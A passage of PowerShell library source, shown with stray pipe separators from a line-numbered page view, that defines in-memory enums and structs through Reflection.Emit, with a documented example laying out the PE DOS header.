||
|
$EnumElements,
|
||
|
|
||
|
[Switch]
|
||
|
$Bitfield
|
||
|
)
|
||
|
|
||
|
if ($Module -is [Reflection.Assembly])
|
||
|
{
|
||
|
return ($Module.GetType($FullName))
|
||
|
}
|
||
|
|
||
|
$EnumType = $Type -as [Type]
|
||
|
|
||
|
$EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
|
||
|
|
||
|
if ($Bitfield)
|
||
|
{
|
||
|
$FlagsConstructor = [FlagsAttribute].GetConstructor(@())
|
||
|
$FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
|
||
|
$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
|
||
|
}
|
||
|
|
||
|
foreach ($Key in $EnumElements.Keys)
|
||
|
{
|
||
|
# Apply the specified enum type to each element
|
||
|
$null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
|
||
|
}
|
||
|
|
||
|
$EnumBuilder.CreateType()
|
||
|
}
|
||
|
|
||
|
|
||
|
# A helper function used to reduce typing while defining struct
|
||
|
# fields.
|
||
|
function field {
|
||
|
Param (
|
||
|
[Parameter(Position = 0, Mandatory=$True)]
|
||
|
[UInt16]
|
||
|
$Position,
|
||
|
|
||
|
[Parameter(Position = 1, Mandatory=$True)]
|
||
|
[Type]
|
||
|
$Type,
|
||
|
|
||
|
[Parameter(Position = 2)]
|
||
|
[UInt16]
|
||
|
$Offset,
|
||
|
|
||
|
[Object[]]
|
||
|
$MarshalAs
|
||
|
)
|
||
|
|
||
|
@{
|
||
|
Position = $Position
|
||
|
Type = $Type -as [Type]
|
||
|
Offset = $Offset
|
||
|
MarshalAs = $MarshalAs
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
function struct
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
Creates an in-memory struct for use in your PowerShell session.
|
||
|
Author: Matthew Graeber (@mattifestation)
|
||
|
License: BSD 3-Clause
|
||
|
Required Dependencies: None
|
||
|
Optional Dependencies: field
|
||
|
.DESCRIPTION
|
||
|
The 'struct' function facilitates the creation of structs entirely in
|
||
|
memory using as close to a "C style" as PowerShell will allow. Struct
|
||
|
fields are specified using a hashtable where each field of the struct
|
||
|
is comprosed of the order in which it should be defined, its .NET
|
||
|
type, and optionally, its offset and special marshaling attributes.
|
||
|
One of the features of 'struct' is that after your struct is defined,
|
||
|
it will come with a built-in GetSize method as well as an explicit
|
||
|
converter so that you can easily cast an IntPtr to the struct without
|
||
|
relying upon calling SizeOf and/or PtrToStructure in the Marshal
|
||
|
class.
|
||
|
.PARAMETER Module
|
||
|
The in-memory module that will host the struct. Use
|
||
|
New-InMemoryModule to define an in-memory module.
|
||
|
.PARAMETER FullName
|
||
|
The fully-qualified name of the struct.
|
||
|
.PARAMETER StructFields
|
||
|
A hashtable of fields. Use the 'field' helper function to ease
|
||
|
defining each field.
|
||
|
.PARAMETER PackingSize
|
||
|
Specifies the memory alignment of fields.
|
||
|
.PARAMETER ExplicitLayout
|
||
|
Indicates that an explicit offset for each field will be specified.
|
||
|
.EXAMPLE
|
||
|
$Mod = New-InMemoryModule -ModuleName Win32
|
||
|
$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
|
||
|
DOS_SIGNATURE = 0x5A4D
|
||
|
OS2_SIGNATURE = 0x454E
|
||
|
OS2_SIGNATURE_LE = 0x454C
|
||
|
VXD_SIGNATURE = 0x454C
|
||
|
}
|
||
|
$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
|
||
|
e_magic = field 0 $ImageDosSignature
|
||
|
e_cblp = field 1 UInt16
|
||
|
e_cp = field 2 UInt16
|
||
|
e_crlc = field 3 UInt16
|
||
|
e_cparhdr = field 4 UInt16
|
||
|
e_minalloc = field 5 UInt16
|
||
|
e_maxalloc = field 6 UInt16
|
||
|
e_ss = field 7 UInt16
|
||
|
e_sp = field 8 UInt16
|
||
|
e_csum = field 9 UInt16
|
||
|
e_ip = field 10 UInt16
|
||
|
e_cs = field 11 UInt16
|
||
|
e_lfarlc = field 12 UInt16
|
||
|
e_ovno = field 13 UInt16
|
||
|
e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
|
||
|
e_oemid = field 15 UInt16
|
||
|
e_oeminfo = field 16 UInt16
|
||
|
e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
|
||
|
e_lfanew = field 18 Int32
|
||
|
}
|
||
|
# Example of using an explicit layout in order to create a union.
|
||
|
$TestUnion = struct $Mod TestUnion @{
|
||
|
field1 = field 0 UInt32 0
|
||
|
field2 = field 1 IntPtr 0
|
||
|
} -ExplicitLayout
|
||
|
.NOTES
|
||
|
PowerShell purists may disagree with the naming of this function but
|
||
|
again, this was developed in such a way so as to emulate a "C style"
|
||
|
definition as closely as possible. Sorry, I'm not going to name it
|
||
|
New-Struct. :P
|
||
|
#>
|
||
|
|
||
|
[OutputType([Type])]
|
||
|
Param (
|
||
|
[Parameter(Position = 1, Mandatory=$True)]
|
||
|
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
|
||
|
$Module,
|
||
|
|
||
|
[Parameter(Position = 2, Mandatory=$True)]
|
||
|
[ValidateNotNullOrEmpty()]
|
||
|
[String]
|
||
|
$FullName,
|
||
|
|
||
|
[Parameter(Position = 3, Mandatory=$True)]
|
||
|
[ValidateNotNullOrEmpty()]
|
||
|
[Hashtable]
|
||
|
$StructFields,
|
||
|
|
||
|
[Reflection.Emit.PackingSize]
|
||
|
$PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
|
||
|
|
||
|
[Switch]
|
||
|
$ExplicitLayout
|
||
|
)
|
||
|
|
||
|
if ($Module -is [Reflection.Assembly])
|
||
|
{
|
||
|
return ($Module.GetType($FullName))
|
||
|
}
|
||
|
|
||
|
[Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
|
||
|
Class,
|
||
|
Public,
|
||
|
Sealed,
|
||
|
BeforeFieldInit'
|
||
|
|
||
|
if ($ExplicitLayout)
|
||
|
{
|
||
|
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
|
||
|
}
|
||
|
|
||
|
$StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
|
||
|
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
|
||
|
$SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
|
||
|
|
||
|
$Fields = New-Object Hashtable[]($StructFields.Count)
|
||
|
|
||
|
# Sort each field according to the orders specified
|
||
|
# Unfortunately, PSv2 doesn't have the luxury of the
|
||
|
# hashtable [Ordered] accelerator.
|
||
|
foreach ($Field in $StructFields.Keys)
|
||
|
{
|
||
|
$Index = $StructFields[$Field]['Position']
|
||
|
$Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
|
||
|
}
|
||
|
|
||
|
foreach ($Field in $Fields)
|
||
|
{
|
||
|
$FieldName = $Field['FieldName']
|
||
|
$FieldProp = $Field['Properties']
|
||
|
|
||
|
$Offset = $FieldProp['Offset']
|
||
|
$Type = $FieldProp['Type']
|
||
|
$MarshalAs = $FieldProp['MarshalAs']
|
||
|
|
||
|
$NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
|
||
|
|
||
|
if ($MarshalAs)
|
||
|
{
|
||
|
$UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
|
||
|
if ($MarshalAs[1])
|
||
|
{
|
||
|
$Size = $MarshalAs[1]
|
||
|
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
|
||
|
$UnmanagedType, $SizeConst, @($Size))
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
|
||
|
}
|
||
|
|
||
|
$NewField.SetCustomAttribute($AttribBuilder)
|
||
|
}
|
||
|
|
||
|
if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
|
||
|
}
|
||
|
|
||
|
# Make the struct aware of its own size.
|
||
|
# No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
|
||
|
$SizeMethod = $StructBuilder.DefineMethod('GetSize',
|
||
|
'Public, Static',
|
||
|
[Int],
|
||
|
[Type[]] @())
|
||
|
$ILGenerator = $SizeMethod.GetILGenerator()
|
||
|
# Thanks for the help, Jason Shirk!
|
||
|
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
|
||
|
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
|
||
|
[Type].GetMethod('GetTypeFromHandle'))
|
||
|
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
|
||
|
[Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
|
||
|
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
|
||
|
|
||
|
# Allow for explicit casting from an IntPtr
|
||
|
# No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
|
||
|
$ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
|
||
|
'PrivateScope, Public, Static, HideBySig, SpecialName',
|
||
|
$StructBuilder,
|
||
|
[Type[]] @([IntPtr]))
|
||
|
$ILGenerator2 = $ImplicitConverter.GetILGenerator()
|
||
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
|
||
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
|
||
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
|
||
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
|
||
|
[Type].GetMethod('GetTypeFromHandle'))
|
||
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
|
||
|
[Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
|
||
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
|
||
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
|
||
|
|
||
|
$StructBuilder.CreateType()
|
||
|
}
|